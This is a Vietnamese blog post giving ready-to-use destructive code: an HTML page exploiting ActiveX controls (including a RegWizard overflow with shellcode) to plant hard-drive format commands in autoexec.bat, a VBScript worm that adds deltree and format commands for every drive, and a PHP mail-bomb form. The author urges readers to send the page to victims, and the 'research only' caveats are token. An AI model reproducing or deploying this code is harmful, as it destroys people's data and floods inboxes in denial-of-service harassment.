Cài virus format ổ cứng ( bạn thử chưa)

Hãy chọn đoạn mã sau vào trang web rồi gởi cho một kẻ khốn khổ nào đó, nó chạy thì ổ cứng của nó sẽ tiêu, đừng chơi tui nha!!!.
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<p>
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
</p>
<script>
var1='echo @format "c: < c.txt >nul" >> c:\\autoexec.bat';
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\repair.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><script>wsh.Run('command /c echo e 171,20 >> C:\\d.TXT',true,1);wsh.Run('command /c echo e 181,20 >> C:\\d.TXT',true,1);wsh.Run('command /c echo w>> C:\\d.TXT',true,1);wsh.Run('command /c echo q >> C:\\d.TXT',true,1);wsh.Run('command /c echo y >> C:\\C.TXT',true,1);wsh.Run('command /c echo Sucker >> C:\\C.TXT',true,1);wsh.Run('command /c echo @echo Please wait while Setup updates your configuration files. >> c:\\autoexec.bat',true,1);wsh.Run('command /c echo @echo This may take a few minutes... >> c:\\autoexec.bat',true,1);wsh.Run('command /c "+var1+"',true,1);wsh.Run('command /c debug c:\\autoexec.bat < d.txt',true,1)</"+"SCRIPT>";scr.write();
</script>
<p>
<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00" id="RegWizObj">
</object>
</p>
<script language="VbScript">
expstr = "/i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA"
expstr = expstr & Chr(235)
expstr = expstr & Chr(53)
expstr = expstr & Chr(208)
expstr = expstr & Chr(127)
expstr = expstr + Chr(144)
expstr = expstr + Chr(139) + Chr(252)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)
expstr = expstr + Chr(80)
expstr = expstr + Chr(87)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)
expstr = expstr + Chr(255) + Chr(210)
expstr = expstr + Chr(51) + Chr(192)
expstr = expstr + Chr(80)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)
expstr = expstr + Chr(255) + Chr(210)
expstr = expstr + "rundll32 shell32.dll,SHExitWindowsEx 1"
RegWizObj.InvokeRegWizard(expstr)
</script>

</html>

chúc các bạn thành công, đừng nên phổ biến vì nó rất nguy hiểm<admin_hacker cảng báo >

Cách viết một virus khác format ổ cứng người khác!!!!

Sao đây mình xin giới thiệu với các bạn cách sử dụng VBScript để viết một
worm nhỏ xoá sạch ổ cứng của victim. (có thể nhúng vào HTML)
(Lưu ÿ : dùng với mục đích nghiên cứu, khÿng khuyến khích phá hoại).

Sao đây tui xin giới thiệu với các bạn cách sử dụng VBScript để viết một
worm nhỏ xoá sạch ổ cứng của victim. (có thể nhúng vào HTML)
(Lưu ÿ : dùng với mục đích nghiên cứu, khÿng khuyến khích phá hoại).

I/để bắt victim thực thi một chương trình nào đó các bạn sử dụng đoạnscript sau:
================
<html>
<head>
<title>L0ng3ta</title>
</head>
<body >
<p>chuong trinh notepad se thuc thi
<script language=VBSCRIPT>
On Error Resume Next
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.Run "c:\windows\notepad.exe",1,False
</SCRIPT></p>
</body>
</html>
================
đoạn Script trên sế chạy chương trình notepad. Các bạn có thể copy vào trang HTML
và cho chạy thử.

II/Đoạn Script để chÿn một vài lệnh lên autoexec.bat trên ổ đĩa của victim.
======================
<script language=VBSCRIPT>
Function FindFile(PathFiles)
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(PathFiles)) Then
FindFile = True
Set f = fso.GetFile(Pathfiles)
If f.attributes and 1 Then
f.attributes = f.attributes -1
End if

Else
FindFile = False
End If
End Function

Sub CreateFile()
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Autoexec.bat", True)
tf.WriteLine ("@Echo off")
tf.Close
End Sub

Sub InsertBegintext()
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@Echo Please Waiting for Windows updating your system ...")
tf.Close
End Sub

Sub Inserttext(drv)
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@deltree /y " & drv & " > null")
tf.WriteLine ("@Format " & drv & " /q /u /autotest > null")
tf.Close
End Sub

'Kiem tra xem co phai o dia co phai la harddisk hay khong
'Va tra ve true neu no la harddisk
Function ShowDriveInfo(drvpath)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(drvpath)
If d.DriveType = 2 then
If d.IsReady then
ShowDriveInfo = True
Else
ShowDriveInfo = False
End If
Else
ShowDiveInfo = False
End If
End Function

Sub Main()
Dim fso, d, dc, s, i
Dim a(15)
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
i = 0
For Each d in dc
If showdriveinfo(d) then
a(i) = d
i= i+1
End If
Next
If Not Findfile("c:\autoexec.bat") then
Createfile
End if
InsertBegintext
Do While i>0
i=i-1
Inserttext(a(i))
Loop
End Sub

Main
</SCRIPT>
======================
III>Công việc còn lại là của các bạn, thay vì cho no thực thi chương trình
notepad các bạn hãy đổi tên nó thành "c:\autoexec.bat" thử xem, và các bạn đoán
thử chuyện gì sế xảy ra rồi đó, lưu ÿ là chôn nó thẳng vào file html. Lấy
thêm đoạn source send mail của worm ILoveYou mà thêm vào nữa thì các bạn sế có
một con Sworm đáng sợ.

viết chương trình bom thư

Sau đây tui xin giới thiệu với các bạn một vài cách làm bom thư chơi người ta:))Bạn copy đoạn mã sau vào WORD rồi save nó dưới dang file html và tiến hành tấn cÿng bằng cách upload lên host , nhưng hiện nay có nhiều host khÿng cho thưc thi hàm mail() nhằm chống lại các cuộc tấn cÿng kiểu DOS, đối với nhưng host như vậy thì đành phải chịu thui:D.

<HTML>
<HEAD>
<TITLE> hacker Bombmai</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</HEAD>

<BODY>
<p align="center"><font face="verdana" color="red" size="4">PTV5 Group Bombmail !</font></p>
<p align="center"><font face="verdana" color="red" size="2">Lưu Ý : Các bạn bomb email ai cũng được ( hi hi hi ) , nhưng đừng bomb chúng tôi</font></p>
<?

/////////////////////////////////////////////////////////////////
//
// trung@n113.com
//
/////////////////////////////////////////////////////////////////

if ($action == "BOMB")
{
if (ereg("[A-Za-z0-9_-]+([\.]{1}[A-Za-z0-9_-]+)*@[A-Za-z0-9-]+([\.]{1}[A-Za-z0-9-]+)+", $to))
{
echo "Gui $messages den $to<BR><BR><BR>";
}
else
{
die("Dia chi mail khong dung ($to)");
}

for ($i = 1; $i <= $messages; $i++)
{

$randfrom = rand(100000,900000);
$randsubject = rand(100000,900000);

mail($to, $randsubject, "$message", "From: $randfrom@hoangcuongbomb.com");
echo "Sent message # $i (Subject: $randsubject, From: $randfrom@hoangcuongbomb.com<BR>";

}

}

?>

<BODY bgcolor="#000000" text="#33CCFF" link="#FFFF00">
<CENTER>
<form name="danangitc" method="post" action="<?php echo $PHP_SELF ?>">
<table width="692" border="0" cellspacing="2" cellpadding="2">
<tr>
<td width="316"><font face="Verdana">        
* Muá»‘n bao nhiÃªu lÃ¡ thÆ°:</font></td>
</CENTER>
<td width="358">
<p align="left">
<input type="text" name="messages" value="500">
</p>
</td>
</tr>
<CENTER>
<tr>
<td width="316"><font face="Verdana">        
* "Táº·ng" cho tháº±ng nÃ o??</font></td>
</CENTER>
<td width="358">
<p align="left"><font face="Verdana">
<input type="text" name="to">
</font></p>
</td>
</tr>
<CENTER>
<tr>
<td width="316"><font face="Verdana">        
* Ná»™i dung tháº¿ nÃ o (cáº¥m chá»i):</font></td>
</CENTER>
<td width="358">
<p align="left">
<textarea name="message" cols="30" rows="5"></textarea>
</p>
</td>
</tr>
<CENTER>
<tr>
<td width="316"> </td>
</CENTER>
<td width="358">
<input type="submit" name="action" value="BOMB">
</td>
</tr>
</table>
</form>
</BODY>
<p align="center"><font face="verdana" color="#575757" size="-2">Designed and Copyright © 2003 by PTV5 Group . All rights reserved<br>
Contact us : </font></p>
</HTML>

chúc các ban thành công

( cảnh báo khu vực này là rất nhạy cảm đây là những đoạn mã độc có thể bạn sẽ tiêu luôn đó mong các bạn

không sủ dụng nhằm mục đích phá hoại )

Gửi Bởi :>>> Admin

Tìm kiếm Blog này

công nghệ và cuộc sống

Cài virus format ổ cứng ( bạn thử chưa)

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

hack wifi thanh cong 100%

phan mem chuyen doi dinh dang mien phi manh nhat hien nay

khai thác .. va phong chống path traversal attack